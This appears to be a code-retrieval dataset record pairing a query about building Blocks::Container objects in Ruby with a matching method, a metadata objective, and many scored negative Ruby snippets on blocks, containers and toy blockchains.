query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Build a Blocks::Container object and add it to an array of containers matching it's block name (used only for queuing a collection of before, after, and around blocks for a particular block name)
def add_block_container_to_list(*args, &block) block_container = self.build_block_container(*args, &block) if blocks[block_container.name].nil? blocks[block_container.name] = [block_container] else blocks[block_container.name] << block_container end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def build_block_container(*args, &block)\n options = args.extract_options!\n\n anonymous = false\n if args.first\n name = args.shift\n else\n name = self.anonymous_block_name\n anonymous = true\n end\n\n block_container = Blocks::Container.new\n block_container.name = name.to_sym\n block_container.options = options\n block_container.block = block\n block_container.anonymous = anonymous\n block_container\n end", "def define_block_container(*args, &block)\n block_container = self.build_block_container(*args, &block)\n blocks[block_container.name] = block_container if blocks[block_container.name].nil? && block_given?\n block_container\n end", "def push(block)\n @names[block.name.to_s] ||= []\n @names[block.name.to_s] << block\n end", "def queue(*args, &block)\n self.queued_blocks << self.define_block_container(*args, &block)\n nil\n end", "def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end", "def build_blocks\n new_blocks = []\n current_rotated_blocks.each do |block|\n block_actor = @stage.create_actor :block,\n x: block[0] * BLOCK_SIZE + @falling_piece.x,\n y: block[1] * BLOCK_SIZE + @falling_piece.y,\n grid_offset_x: block[0],\n grid_offset_y: block[1],\n image: @falling_piece.image\n\n new_blocks << block_actor\n end\n # Destroy ourselves, leaving only the blocks behind\n @falling_piece.remove\n\n new_blocks\n end", "def blocks\n @blocks ||= []\n end", "def blocks\n @blocks ||= []\n end", "def group(name, &block)\n namespace = Namespace.new(name, &block)\n @blocks << namespace\n namespace\n end", "def containers\n t = Liquid::Template.parse(template)\n t.root.nodelist.select{ |t| t.kind_of? LiquidTags::ContainsBlock }.collect{ |c| c.container_name }\n end", "def fetch(block_name)\n @names[block_name.to_s] || []\n end", "def make_blocks\n data = compress block_sources\n id = put_blocks_in_cache(data) # would prefer qless id here if possible\n return id\n end", "def replace(name, options={}, &block)\n blocks[name] = nil\n self.define_block_container(name, options, &block)\n nil\n end", "def block(name, &block)\n klass = SuperbTextConstructor.block(name, &block)\n @blocks << klass\n klass\n end", "def add(name, &block)\n blocks[name.to_sym] = block\n end", "def <<(block)\n blocks << block\n end", "def define(name, options={}, &block)\n collection = options.delete(:collection)\n\n if collection\n collection.each do |object|\n define(call_with_params(name, object, options), options, &block)\n end\n else\n self.define_block_container(name, options, &block)\n end\n\n nil\n end", "def add_block block\n block.at self.length\n @blocks << block\n end", "def prepare_container(&block)\n @prepare_container_block = block\n self\n end", "def makeBlocks(days, startTimeString, endTimeString, info)\n\tblocks = []\n\tdays.split(\"\").each do |d|\n\t\tb = SCHBlock.new(d, startTimeString, endTimeString, info)\n\t\tblocks << b\n\tend\n\t(blocks)\nend", "def create_blocks!(count)\n begin\n result = []\n 1.upto count do |i|\n result << create_block\n end\n rescue\n result.each(&:destroy)\n raise\n end\n end", "def add_block name, hash\n\t\t\t@blocks ||= {}\n\t\t\t@blocks[name] = hash\n\t\tend", "def structure(name, &block)\n if existing = @base.structures.select { |s| s.name == name }.first\n structure = existing\n else\n structure = Moonrope::Structure.new(@base, name)\n @base.structures << structure\n end\n structure.dsl.instance_eval(&block) if block_given?\n structure\n end", "def create_first_block\n\ti = 0\n\tinstance_variable_set( \"@b#{i}\", \n\t\t\t\t\t\t\t\t\t\t\t\t Block.first( \n\t\t\t\t\t\t\t\t\t\t\t\t\t{ from: \"Dutchgrown\", to: \"Vincent\", what: \"Tulip Bloemendaal Sunset\", qty: 10 },\n\t\t\t\t\t\t\t\t\t\t\t\t\t{ from: \"Keukenhof\", to: \"Anne\", what: \"Tulip Semper Augustus\", qty: 7 } )\n\t\t\t\t\t\t\t\t\t\t\t )\n\tLEDGER << @b0\n\tpp @b0\n\tp \"============================\"\n\tadd_block\nend", "def children\n block ? [block] : []\n end", "def render_before_or_after_blocks(name_or_container, before_or_after, *args)\n options = args.extract_options!\n\n block_options = {}\n if (name_or_container.is_a?(Blocks::Container))\n name = name_or_container.name.to_sym\n block_options = name_or_container.options\n else\n name = name_or_container.to_sym\n block_options = blocks[name].options if blocks[name]\n end\n\n before_name = \"#{before_or_after}_#{name.to_s}\".to_sym\n buffer = ActiveSupport::SafeBuffer.new\n\n blocks[before_name].each do |block_container|\n args_clone = args.clone\n args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))\n buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)\n end if blocks[before_name].present?\n\n buffer\n end", "def address_containers(ident_only=false, &block)\n []\n end", "def blocks_for_num_blocks\n # Don't create blocks if we have no words\n return [] if single_block.empty?\n\n # Split the single block into the right size and return\n single_block.in_groups(num_blocks, false).each_with_object([]) do |b, ret|\n ret << Block.new(words: b,\n name: I18n.t('lib.frequency.block_count_dataset',\n num: ret.size + 1, total: num_blocks))\n end\n end", "def around(name, options={}, &block)\n self.add_block_container_to_list(\"around_#{name.to_s}\", options, &block)\n nil\n end", "def blocks_for_num_blocks\n # Don't create blocks if we have no words\n return [] if @single_block.empty?\n\n # Split the single block into the right size and return\n @single_block.in_groups(@num_blocks, false).each_with_object([]) do |b, ret|\n ret << Block.new(b, I18n.t('lib.frequency.block_count_dataset',\n num: ret.size + 1, total: @num_blocks))\n end\n end", "def read_block_text(name, containers, contents)\n i = -1\n in_block = false\n block_indentation = nil\n block_end_token = nil\n chunk = nil\n contents.each_line do |line|\n if line =~ /^(\\s*)#{name}\\s*.*?(({|do|->\\s*{|lambda\\s*{)(.*))/\n block_indentation, text = $1, $2\n i += 1\n chunk = containers[i].code_chunk\n chunk.text = text + \"\\n\"\n in_block = true\n block_end_token = case text\n when /^{/\n \"}\"\n when /^do\\b/\n \"end\"\n when /^(->|lambda)\\s*({|do)/\n $2 == \"{\" ? \"}\" : \"end\"\n else\n \"}|end\" # regex\n end\n elsif in_block\n line =~ /^(\\s*)(.*)/\n indentation, text = $1, $2\n if indentation.length <= block_indentation.length\n if text =~ /^#{block_end_token}/\n chunk.text << line\n end\n in_block = false\n else\n chunk.text << line\n end\n end\n end\n containers.each do |thing|\n text = thing.code_chunk.text\n text.strip! if text\n end\n end", "def agregarBLoqueYSym(name,block)\n #Agrega un par de selector y su respectivo bloque a un lista\n par = name,block\n listaDeBloquesYSelector.push(par)\n end", "def read_block_text(name, containers, contents)\n i = -1\n in_block = false\n block_indentation = nil\n block_end_token = nil\n contents.each_line do |line|\n if line =~ /^(\\s*)#{name}\\s*.*?(({|do|->\\s*{|lambda\\s*{)(.*))/\n block_indentation, text = $1, $2\n i += 1\n containers[i].text = text + \"\\n\"\n in_block = true\n block_end_token = case text\n when /^{/\n \"}\"\n when /^do\\b/\n \"end\"\n when /^(->|lambda)\\s*({|do)/\n $2 == \"{\" ? \"}\" : \"end\"\n else\n \"}|end\" # regex\n end\n elsif in_block\n line =~ /^(\\s*)(.*)/\n indentation, text = $1, $2\n if indentation.length <= block_indentation.length\n if text =~ /^#{block_end_token}/\n containers[i].text << line\n end\n in_block = false\n else\n containers[i].text << line\n end\n end\n end\n containers.each { |thing| thing.text.strip! if thing.text }\n end", "def blocks\n @block_stacks.map { |candidates| candidates&.first }\n end", "def block\n (@blocks ||= Array.new) << Block.new\n @in_block = @blocks.last\n yield\n @in_block = nil\n end", "def get_block name\n name = name.to_sym\n block = @blocks.find {|b| b.name == name}\n raise \"No block found for #{name} (in #{blocks.collect{|b|b.name}.join(':')})\" unless block\n block\n end", "def di(name = nil, &block)\n if block_given?\n result = DI::Container.new(&block)\n DI::CONTAINERS[name] = result if name\n\n result\n else\n DI::CONTAINERS[name]\n end\n end", "def build(*args)\n # create the container they ask for with these args\n @container = @container_class.new *args\n # tack on the layout they wanted\n @container.layout = layout if layout\n\n # go through all the children, add them on and tack on the callbacks\n @children.each {|child|\n if @contents[child]\n # if this component answers the each call then go through all\n component = @contents[child]\n each_or_one(component) {|c| @container.add(c) }\n\n configure_interactions_for child, component\n end\n }\n\n # yield to the caller so that they can configure more before\n # we make it visible and pack it\n yield @container if block_given?\n\n # even though swing doesn't do this, we do\n @container.pack if @container.respond_to? :pack\n @container.visible = true if @container.respond_to? :visible\n\n # and now they can do whatever they want to the container\n @container\n end", "def <<(block)\n # parent assignment pending refactor\n #block.parent = self\n @blocks << block\n end", "def new_block_el(*args); end", "def build_containers_tree\n TreeBuilderContainers.new(\"containers_tree\", \"containers\", @sb)\n end", "def setup_blocks\n @setup_blocks ||= []\n end", "def after(&block)\n @blocks << block\n end", "def block_list(context={})\n \n blocks = []\n blocks.concat(get_menus_as_blocks(context))\n blocks.concat(get_breadcrumb_as_block(context))\n blocks.concat(get_public_breadcrumb_as_block(context))\n blocks.concat(get_views_as_blocks(context))\n blocks.concat(get_contents_as_blocks(context))\n \n return blocks\n \n end", "def block_name_declaration(block_name)\n buff_code \"#{block_name} = __blocks.delete('#{block_name}') { __create_block('#{block_name}') }\"\n end", "def block\n blockable.blocks.detect{|b| b.identifier == self.identifier.to_s} || \n blockable.blocks.build(:identifier => self.identifier.to_s)\n end", "def basic_blocks\n @basic_block_collection ||= BasicBlockCollection.new(self)\n end", "def create_blocks(count)\n begin\n create_blocks! count\n rescue\n nil\n end\n end", "def add_missing_toolbox_blocks\n toolbox = Nokogiri::XML(properties['toolbox_blocks'])\n toolbox_blocks = toolbox.xpath('//block')\n Nokogiri::XML(properties['solution_blocks']).xpath('//block').each do |block|\n next if IGNORED_SOLUTION_BLOCK_ATTRS.any? {|kvpair| block.attr(kvpair[0]) == kvpair[1]}\n\n next if toolbox_blocks.any? do |toolbox_block|\n blocks_match? toolbox_block, block\n end\n\n # Solution block does not appear in the toolbox, add it\n toolboxified_block = create_toolbox_block block\n if toolbox.xpath('//category').empty?\n toolbox.root = Nokogiri::XML::Node.new('xml', toolbox) if toolbox.root.nil?\n toolbox.root.add_child toolboxified_block\n else\n category = toolbox.xpath('//category[@name=\\'NEW BLOCKS\\']').first ||\n toolbox.xpath('//category').last.add_next_sibling(NEW_CATEGORY_XML).first\n category.add_child toolboxified_block\n end\n toolbox_blocks.push toolboxified_block\n end\n properties['toolbox_blocks'] =\n toolbox.to_xml save_with: Blockly::XML_OPTIONS\n end", "def start_new_block_element(attrs)\n @current_block = {\n formatting_spans: [],\n paragraph_classes: [],\n }.merge(attrs)\n @block_elements << @current_block\n end", "def resolved_containers\n @resolved_containers ||= containers.collect { |container| Container.new(container) }\n @resolved_containers\n end", "def recurse_zone_names(container, name)\n foo = (self.name.nil?) ? I18n.t('text_card.no_name_zone') : self.name.to_s\n name = (name.blank?) ? foo : name + \" > \" + foo\n container.push [name, self.uri.to_s] unless self.is_a?(Image)\n self.zones.each { |z| z.recurse_zone_names(container, name) } if (self.has_zones?)\n end", "def blocklists; end", "def each_slice(&block)\n loadable_slices = Merb::Plugins.config[:merb_slices].key?(:queue) ? Merb::Plugins.config[:merb_slices][:queue] : slice_names\n loadable_slices.each do |module_name|\n if mod = self[module_name]\n block.call(mod)\n end\n end\n end", "def blocks\n @blocks ||= Array(@grpc.blocks).map do |b|\n Block.from_grpc b\n end\n end", "def before(name, options={}, &block)\n self.add_block_container_to_list(\"before_#{name.to_s}\", options, &block)\n nil\n end", "def jobs(&block)\n @jobs_array = (@jobs_array || []) << block\n end", "def put_queued_units\n queue = TactBattleManager.unit_queue\n queue.each do |args| \n opts = {:x => args[2], :y => args[3], :wait => args[4][:wait]}\n TactBattleManager.new_unit_h(args[0],args[1],opts)\n end\n TactBattleManager.empty_unit_queue\n end", "def add_block\n i= 1\n loop do\n instance_variable_set(\"@b#{i}\", Block.next(instance_variable_get(\"@b#{i-1}\"), get_transaction))\n #dans cette loop en demande nouveau blockd'aller prendre les donnée du block précédant\n\n LEDGER << instance_variable_get(\"@b#{i}\")\n\n p \"==============================\"\n pp instance_variable_get(\"@b#{i}\")\n p \"==============================\"\n i += 1\n end\n\nend", "def prepare_containers(storage_account_name, containers, is_default_storage_account)\n @logger.info(\"prepare_containers(#{storage_account_name}, #{containers}, #{is_default_storage_account})\")\n containers.each do |container|\n @logger.debug(\"Creating the container `#{container}' in the storage account `#{storage_account_name}'\")\n create_container(storage_account_name, container)\n end\n set_stemcell_container_acl_to_public(storage_account_name) if is_default_storage_account\n end", "def render_before_blocks(name_or_container, *args)\n render_before_or_after_blocks(name_or_container, \"before\", *args)\n end", "def blocks\n @blocks ||= ArkEcosystem::Client::API::Blocks.new(@client)\n end", "def block(name=\"block\", &proc)\n gen = self.class.new(@library, @module, @function, @function.add_block(name))\n gen.instance_eval(&proc)\n return gen\n end", "def blocks; end", "def blocks; end", "def blocks; end", "def create_block(id, node_ids)\n nodes = node_ids.select { |n| @nodes.key? n }.map { |n| @nodes[n] }\n block = Block.new(id, nodes)\n @blocks.push block\n block\n end", "def content_blocks\n @content_blocks ||= Hash.new {|h,k| h[k] = [] }\n end", "def get_method_container container, name_t # :nodoc:\n prev_container = container\n container = container.find_module_named(name_t[:text])\n\n unless container then\n constant = prev_container.constants.find do |const|\n const.name == name_t[:text]\n end\n\n if constant then\n parse_method_dummy prev_container\n return\n end\n end\n\n unless container then\n # TODO seems broken, should starting at Object in @store\n obj = name_t[:text].split(\"::\").inject(Object) do |state, item|\n state.const_get(item)\n end rescue nil\n\n type = obj.class == Class ? RDoc::NormalClass : RDoc::NormalModule\n\n unless [Class, Module].include?(obj.class) then\n warn(\"Couldn't find #{name_t[:text]}. Assuming it's a module\")\n end\n\n if type == RDoc::NormalClass then\n sclass = obj.superclass ? obj.superclass.name : nil\n container = prev_container.add_class type, name_t[:text], sclass\n else\n container = prev_container.add_module type, name_t[:text]\n end\n\n record_location container\n end\n\n container\n end", "def blocks_for_block_size\n # We're already done with the last block behavior, if we wanted a small\n # last block, or if we only generated a single block\n return block_list if block_list.size <= 1 || last_block == :small_last\n\n case last_block\n when :truncate_all\n # Implemented in add_for_block_size\n nil\n when :small_last\n # Implemented just above\n nil\n when :truncate_last\n block_list.pop\n else # default to :big_last behavior\n last = block_list.pop\n block_list.last.words.concat(last.words)\n end\n\n block_list\n end", "def content_blocks\n @content_blocks ||= Hash.new { |h, k| h[k] = [] }\n end", "def content_blocks\n @content_blocks ||= Hash.new {|h,k| h[k] = [] }\n end", "def build_block(transactions, prev_hash = hash)\n Block.new(transactions, prev_hash)\n end", "def pre(name, &block)\n self.pres << item_class.new.tap do |item|\n item.name = name\n block.call(item)\n end\n end", "def test_new\n\n b = Blockchain.new\n\n b << 'Genesis'\n b << 'Transaction Data...'\n b << ['Transaction Data...']\n b << ['Transaction Data...', 'Transaction Data...']\n b << [] ## empty block (no transactions)\n\n ## add do-it-yourself built block\n b << Block.next( b.last, 'Transaction Data...' )\n\n b << 'Transaction Data...'\n\n pp b\n\n assert true ## (for now) everything ok if we get here\nend", "def reapply_blocks\n @reapply_blocks ||= []\n end", "def add_message_builder(name, &block)\n give_name(name, block)\n @message_builders << block\n end", "def card(name, &block)\n c = Cardlike.card(name, &block)\n self << c\n c\n end", "def get_blocks\n @blocks[0].x = @x\n @blocks[1].x = @x\n @blocks[2].x = @x\n @blocks[3].x = @x\n @blocks[0].y = @y\n @blocks[1].y = @blocks[0].y + @blocks[0].height\n @blocks[2].y = @blocks[1].y + @blocks[1].height\n @blocks[3].y = @blocks[2].y + @blocks[2].height\n \n apply_rotation\n \n @blocks.each { |block| block.color = 0xffb2ffff }\n end", "def blocks() end", "def read_containers\n []\n end", "def getObjectContainer( name , formName , frameName )\n\n \n fname = getFunctionName()\n log fname + \" Starting. building container for #{name} - Form: #{formName} - frameName: #{frameName} \" if $debuglevel >= 2\n frame = getObjectFrameReference( name , frameName )\n\n if formName == \"\" then\n o = frame.body\n else\n if formName.kind_of? Fixnum\n o = frame.forms[ formName.to_s ]\n end\n end\n\n return o\n end", "def dyno(name, &block)\n @dynos << { :name => name, :quantity => block }\n end", "def add_for_block_size(words)\n # If we're running :truncate_all, then just append the block for this\n # document and return\n if last_block == :truncate_all\n if block_list.empty?\n name = I18n.t('lib.frequency.block_size_dataset',\n num: block_list.size + 1, size: block_size)\n block_list.push(Block.new(words: words[0...block_size],\n name: name))\n end\n return\n end\n\n # Make the first block, if needed\n unless block_list.last\n block_list.push(\n Block.new(\n words: [],\n name: I18n.t('lib.frequency.block_size_dataset',\n num: 1, size: block_size)\n )\n )\n end\n\n # Fill up the last block\n current_left = block_size - block_list.last.words.size\n if current_left.positive?\n block_list.last.words.concat(words.shift(current_left))\n end\n\n # Bail if there weren't enough words in the document to finish that block\n return if block_list.last.words.size < block_size\n\n # Turn the remaining words into blocks and append\n words.in_groups_of(block_size, false).each do |b|\n name = I18n.t('lib.frequency.block_size_dataset',\n num: block_list.size + 1, size: block_size)\n block_list.push(Block.new(words: b, name: name))\n end\n end", "def block name, processor, delimiter = nil, &block\n processor = resolve_processor_class processor\n @blocks[name] = processor\n if block_given?\n @block_delimiters[block] = name\n elsif delimiter && delimiter.is_a?(Regexp)\n @block_delimiters[delimiter] = name\n end\n end", "def start_new_block\n if (@block_buffer)\n add_block(@block_buffer)\n @block_buffer = nil\n end\n end", "def archive(name, &block)\n @archives << Archive.new(self, name, &block)\n end", "def create_container(container_type, element_type, size = 0)\n if element_type.respond_to?(:to_str)\n element_type = build(element_type)\n end\n return define_container(container_type.to_str, element_type, size)\n end", "def group(name = nil, &block)\n make_child(name, nil, &block)\n end", "def create_a_block(group_name, num_of_rooms: 5, start_date: Date.today, end_date: Date.today + 2, room_rate: 175)\n if num_of_rooms > 5\n raise ArgumentError.new(\"Only 5 rooms per block.\")\n end\n\n list = Room.all_available_rooms(rooms, start_date: start_date, end_date: end_date)\n\n if list.length < num_of_rooms\n raise ArgumentError.new(\"Not enough rooms available. Only #{list.length} room(s) available.\")\n else\n final_list = list[0...num_of_rooms]\n end\n\n new_block = Block.new(group_name, final_list, start_date: start_date, end_date: end_date, room_rate: room_rate)\n\n blocks << new_block\n\n final_list.each do |room_number|\n room = Room.find_room(rooms, room_number)\n room.change_status_of_room(rooms, room_number, start_date: start_date, end_date: end_date)\n end\n\n return new_block\n end", "def get_collection(name, tag, container)\n elem = eval(SELECTOR_MAPPING[container][name][tag][ELEMENT])\n end", "def get_containers\n init_folder unless @init # have I been initialized?\n return @containers \n end", "def register_block_for(type, &blk); end", "def container\n @container ||= Container.new(spec[:containers].first)\n end", "def docking(bike_collection)\n\n # If it is just a bike, no need to run through an array.\n if bike_collection.is_a?(Bike)\n if full? then storage.push(bike_collection) else raise 'no space' end\n\n # If array, loop through it and add\n elsif bike_collection.is_a?(Array)\n bike_collection.each do |bike|\n if full? then storage.push(bike) else raise 'no space' end\n end\n end\n\n end", "def add(name, &block)\n new_node = self.children.create!(:name => name.to_s)\n yield(new_node) if block_given?\n end", "def create_block(g, mod)\n pos(g)\n\n state = g.state\n state.scope.nest_scope self\n\n args = make_arguments(mod)\n\n blk = new_generator g, @name, args\n\n blk.push_state self\n\n blk.state.push_super state.super\n blk.state.push_eval state.eval\n\n blk.definition_line(@line)\n\n blk.state.push_name blk.name\n\n pos(blk)\n\n blk.state.push_block\n blk.push_modifiers\n blk.break = nil\n blk.next = nil\n blk.redo = blk.new_label\n blk.redo.set!\n\n # order matters quite a lot here\n args.bytecode(blk)\n\n recv = receiver_pattern(mod)\n if recv.binds?\n blk.push_self\n recv.deconstruct(blk, mod)\n end\n\n args.deconstruct_patterns(blk, mod)\n\n mod.compile(blk, @body)\n\n blk.pop_modifiers\n blk.state.pop_block\n\n blk.ret\n blk.close\n blk.pop_state\n\n blk.splat_index = args.splat_index\n blk.local_count = local_count\n blk.local_names = local_names\n\n g.create_block blk\n end", "def add(template_name)\n @stack << Item.new(template_name, true)\n\n begin\n result = yield\n return [result, cacheable?]\n ensure\n @stack.pop\n end\n end", "def create_block_index( index_name, \n permits_duplicates, \n sort_by_proc = nil, \n sort_duplicates_by_proc = nil, \n & indexing_block )\n \n ensure_index_does_not_exist( index_name, permits_duplicates )\n \n index_instance = ::Persistence::Object::Index::BlockIndex.new( index_name, \n instance_persistence_bucket, \n permits_duplicates,\n sort_by_proc, \n sort_duplicates_by_proc,\n & indexing_block )\n\n indexes[ index_name ] = block_indexes[ index_name ] = index_instance\n\n return index_instance\n\n end", "def create_gallery_block(gal_name, cols = 3, rows = 5, _browser = @browser)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n Log.logger.info(\"Creating the block for '#{gal_name}' Gallery.\")\n self.open_gallery(gal_name)\n wait.until { _browser.find_element(:xpath => @galmgr.edit_gallery) }.click\n frame = wait.until { _browser.find_element(:xpath => @galmgr.edit_overlay_frame) }\n _browser.switch_to.frame(frame)\n wait.until { _browser.find_element(:xpath => @galmgr.gallery_block_link) }.click\n box = _browser.find_element(:xpath => @galmgr.gallery_block_chkbox)\n if not box.selected?\n box.click\n else\n Log.logger.info(\"Block was already created, changing columns and rows of the block now\")\n end\n _browser.find_element(:xpath => \"#{@galmgr.gallery_block_cols}/option[text()='#{cols}']\").click\n temp = _browser.find_element(:xpath => @galmgr.gallery_block_rows)\n temp.clear\n temp.send_keys(rows)\n wait.until { _browser.find_element(:xpath => @galmgr.save_gallery_btn) }.click\n _browser.switch_to.default_content\n end" ]
[ "0.6950593", "0.67473036", "0.6323744", "0.60207164", "0.60203123", "0.5930976", "0.5840465", "0.5800918", "0.5718595", "0.5650957", "0.5618166", "0.5544193", "0.55418634", "0.5539292", "0.54656607", "0.5461262", "0.54523575", "0.5440888", "0.5409546", "0.5399009", "0.53166807", "0.5292668", "0.5290188", "0.5282544", "0.52733487", "0.5267775", "0.526147", "0.525858", "0.5249128", "0.5243119", "0.52344114", "0.5228673", "0.5185936", "0.51752913", "0.51501656", "0.5124772", "0.51237625", "0.5123117", "0.51001006", "0.50948656", "0.5090626", "0.5074235", "0.5053809", "0.50407016", "0.49963078", "0.49949846", "0.49773842", "0.49713653", "0.49512973", "0.49379015", "0.49361998", "0.49310175", "0.49163595", "0.48879224", "0.48782557", "0.48351085", "0.48251233", "0.48220354", "0.48171377", "0.4816008", "0.48050818", "0.48033297", "0.48026857", "0.4797024", "0.4797024", "0.4797024", "0.4788564", "0.4780701", "0.4779817", "0.47778964", "0.47706", "0.4756743", "0.47496805", "0.47493258", "0.474272", "0.47413903", "0.4738898", "0.47337806", "0.47332835", "0.4728652", "0.47233728", "0.47186932", "0.4703084", "0.46965763", "0.46964926", "0.46929857", "0.46916333", "0.46895632", "0.46859458", "0.46604753", "0.46603072", "0.46564633", "0.4654615", "0.4652419", "0.46445408", "0.4641074", "0.46399486", "0.4637126", "0.46370175", "0.46365455" ]
0.66434777
2
Build a Blocks::Container object and add it to the global hash of blocks if a block by the same name is not already defined
def define_block_container(*args, &block) block_container = self.build_block_container(*args, &block) blocks[block_container.name] = block_container if blocks[block_container.name].nil? && block_given? block_container end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end", "def build_block_container(*args, &block)\n options = args.extract_options!\n\n anonymous = false\n if args.first\n name = args.shift\n else\n name = self.anonymous_block_name\n anonymous = true\n end\n\n block_container = Blocks::Container.new\n block_container.name = name.to_sym\n block_container.options = options\n block_container.block = block\n block_container.anonymous = anonymous\n block_container\n end", "def add_block name, hash\n\t\t\t@blocks ||= {}\n\t\t\t@blocks[name] = hash\n\t\tend", "def content_blocks\n @content_blocks ||= Hash.new {|h,k| h[k] = [] }\n end", "def content_blocks\n @content_blocks ||= Hash.new {|h,k| h[k] = [] }\n end", "def content_blocks\n @content_blocks ||= Hash.new { |h, k| h[k] = [] }\n end", "def block\n blockable.blocks.detect{|b| b.identifier == self.identifier.to_s} || \n blockable.blocks.build(:identifier => self.identifier.to_s)\n end", "def add_block_container_to_list(*args, &block)\n block_container = self.build_block_container(*args, &block)\n if blocks[block_container.name].nil?\n blocks[block_container.name] = [block_container]\n else\n blocks[block_container.name] << block_container\n end\n end", "def structure(name, &block)\n if existing = @base.structures.select { |s| s.name == name }.first\n structure = existing\n else\n structure = Moonrope::Structure.new(@base, name)\n @base.structures << structure\n end\n structure.dsl.instance_eval(&block) if block_given?\n structure\n end", "def blocks\n @blocks ||= []\n end", "def blocks\n @blocks ||= []\n end", "def sdk_block\n @sdk_block ||=\n Rails.cache.fetch([\"Block\", block_hash, \"object\"], expires_in: 1.hour) do\n CKB::Types::Block.from_h(original_raw_hash)\n end\n end", "def add(name, &block)\n blocks[name.to_sym] = block\n end", "def replace(name, options={}, &block)\n blocks[name] = nil\n self.define_block_container(name, options, &block)\n nil\n end", "def push(block)\n @names[block.name.to_s] ||= []\n @names[block.name.to_s] << block\n end", "def group(name, &block)\n namespace = Namespace.new(name, &block)\n @blocks << namespace\n namespace\n end", "def di(name = nil, &block)\n if block_given?\n result = DI::Container.new(&block)\n DI::CONTAINERS[name] = result if name\n\n result\n else\n DI::CONTAINERS[name]\n end\n end", "def basic_blocks\n cfg.blocks\n end", "def basic_blocks\n @basic_block_collection ||= BasicBlockCollection.new(self)\n end", "def build_block(transactions, prev_hash = hash)\n Block.new(transactions, prev_hash)\n end", "def setup_blocks\n @setup_blocks ||= []\n end", "def make_blocks\n data = compress block_sources\n id = put_blocks_in_cache(data) # would prefer qless id here if possible\n return id\n end", "def add_missing_toolbox_blocks\n toolbox = Nokogiri::XML(properties['toolbox_blocks'])\n toolbox_blocks = toolbox.xpath('//block')\n Nokogiri::XML(properties['solution_blocks']).xpath('//block').each do |block|\n next if IGNORED_SOLUTION_BLOCK_ATTRS.any? {|kvpair| block.attr(kvpair[0]) == kvpair[1]}\n\n next if toolbox_blocks.any? do |toolbox_block|\n blocks_match? toolbox_block, block\n end\n\n # Solution block does not appear in the toolbox, add it\n toolboxified_block = create_toolbox_block block\n if toolbox.xpath('//category').empty?\n toolbox.root = Nokogiri::XML::Node.new('xml', toolbox) if toolbox.root.nil?\n toolbox.root.add_child toolboxified_block\n else\n category = toolbox.xpath('//category[@name=\\'NEW BLOCKS\\']').first ||\n toolbox.xpath('//category').last.add_next_sibling(NEW_CATEGORY_XML).first\n category.add_child toolboxified_block\n end\n toolbox_blocks.push toolboxified_block\n end\n properties['toolbox_blocks'] =\n toolbox.to_xml save_with: Blockly::XML_OPTIONS\n end", "def block_name_declaration(block_name)\n buff_code \"#{block_name} = __blocks.delete('#{block_name}') { __create_block('#{block_name}') }\"\n end", "def blocks\n @blocks ||= ArkEcosystem::Client::API::Blocks.new(@client)\n end", "def load_cycloHash()\n @cycloHash = Hash.new\n @block.each do|key,value|\n @cycloHash[key]=value.each_cyclo()\n end\n end", "def block_definition(block_node)\n buff_code \"__blocks['#{block_node.name}'] = __create_block('#{block_node.name}', #{location_node(block_node)}) do\"\n\n code_indent do\n visit_node_children(block_node)\n end\n\n buff_code 'end'\n end", "def <<(block)\n blocks << block\n end", "def create_hash(&block); end", "def create_hash(&block); end", "def has_block(name)\n @blocks.key?(name.to_s)\n end", "def define(name, options={}, &block)\n collection = options.delete(:collection)\n\n if collection\n collection.each do |object|\n define(call_with_params(name, object, options), options, &block)\n end\n else\n self.define_block_container(name, options, &block)\n end\n\n nil\n end", "def define &block\n new block\n end", "def add_single_block(block)\n\n\t\tif @decoded[block.blocks[0]].nil? \n\t\t \t@decoded[block.blocks[0]] = block.data \n\t\t\t@num_valid += 1\n\t\tend\n\tend", "def create_first_block\n\ti = 0\n\tinstance_variable_set( \"@b#{i}\", \n\t\t\t\t\t\t\t\t\t\t\t\t Block.first( \n\t\t\t\t\t\t\t\t\t\t\t\t\t{ from: \"Dutchgrown\", to: \"Vincent\", what: \"Tulip Bloemendaal Sunset\", qty: 10 },\n\t\t\t\t\t\t\t\t\t\t\t\t\t{ from: \"Keukenhof\", to: \"Anne\", what: \"Tulip Semper Augustus\", qty: 7 } )\n\t\t\t\t\t\t\t\t\t\t\t )\n\tLEDGER << @b0\n\tpp @b0\n\tp \"============================\"\n\tadd_block\nend", "def block\n (@blocks ||= Array.new) << Block.new\n @in_block = @blocks.last\n yield\n @in_block = nil\n end", "def get_block name\n name = name.to_sym\n block = @blocks.find {|b| b.name == name}\n raise \"No block found for #{name} (in #{blocks.collect{|b|b.name}.join(':')})\" unless block\n block\n end", "def block(block)\n @components[:__base__] = self.class.build(&block)\n @load_order << :__base__\n true\n end", "def new_block(transaction:, previous_hash: nil)\n block = {\n index: chain.length + 1,\n timestamp: Time.now.to_f,\n transaction: transaction,\n previous_hash: previous_hash || CryptoHelper.block_hash(last_block)\n }\n\n chain.push(block)\n block\n end", "def block(name, &block)\n klass = SuperbTextConstructor.block(name, &block)\n @blocks << klass\n klass\n end", "def defined?(name)\n !blocks[name].nil?\n end", "def set_blocks hash\n\t\t\t@blocks = hash\n\t\tend", "def defined?(name)\n !blocks[name.to_sym].nil?\n end", "def new\n\t\t@block = Block.new\n\tend", "def initialize(id)\n @id = id\n @@all_blocks[id] = self\n end", "def block(name=\"block\", &proc)\n gen = self.class.new(@library, @module, @function, @function.add_block(name))\n gen.instance_eval(&proc)\n return gen\n end", "def <<(block)\n # parent assignment pending refactor\n #block.parent = self\n @blocks << block\n end", "def add_block\n block = params[:block].to_s.underscore\n if 